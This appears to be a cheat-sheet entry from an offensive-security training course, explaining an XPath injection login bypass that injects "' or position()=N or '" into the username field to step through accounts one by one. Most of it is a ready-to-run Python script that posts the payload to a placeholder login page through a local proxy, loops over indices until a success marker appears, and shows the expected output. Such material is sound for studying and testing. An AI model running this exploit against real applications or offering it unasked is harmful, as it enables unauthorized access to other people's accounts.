Auth bypass
XPath authentication bypass via position() account walk
Iterates accounts in an XPath login filter by injecting position()=N into the username field.
XPath selects nodes from an XML document. In the following login expression, //user selects every user node and the square brackets contain a predicate that decides which users remain in the result:
//user[username='<USERNAME>' and password='<PASSWORD>']position() returns the one-based position of the current node inside the selected set. Injecting ' or position()=<INDEX> or ' into the username produces a predicate shaped like:
//user[username='' or position()=<INDEX> or '' and password='x']For the user at <INDEX>, position()=<INDEX> is true, so the complete OR expression is true without a valid password. Iterating the index selects one account at a time. A plain ' or '1'='1 makes every user match, after which the application normally uses only the first returned account; position() makes a specific later account reachable.
import requests, urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
PROXIES = {"http": "http://127.0.0.1:8080", "https": "http://127.0.0.1:8080"}
s = requests.Session()
LOGIN = "https://target/login.php"
SUCCESS_MARKER = "<SUCCESS_MARKER>"
# Server filter ~ //user[username='INPUT' and password='INPUT'].
# The payload drops the password check and selects the Nth account node.
def login_as(index):
data = {"username": f"' or position()={index} or '", "password": "x"}
r = s.post(LOGIN, data=data, verify=False, timeout=10, proxies=PROXIES)
response_text = r.text
return response_text
for i in range(1, 101):
body = login_as(i)
if SUCCESS_MARKER in body:
print(f"[+] account index {i} matched")
print(body)
break
print(f"[-] index {i}")Expected match
[+] account index <INDEX> matched
<RESPONSE_CONTAINING_SUCCESS_MARKER>Find by: xpath auth bypass login position() account enumeration walk users flag · Source: CWEE/XPath Injection - Authentication Bypass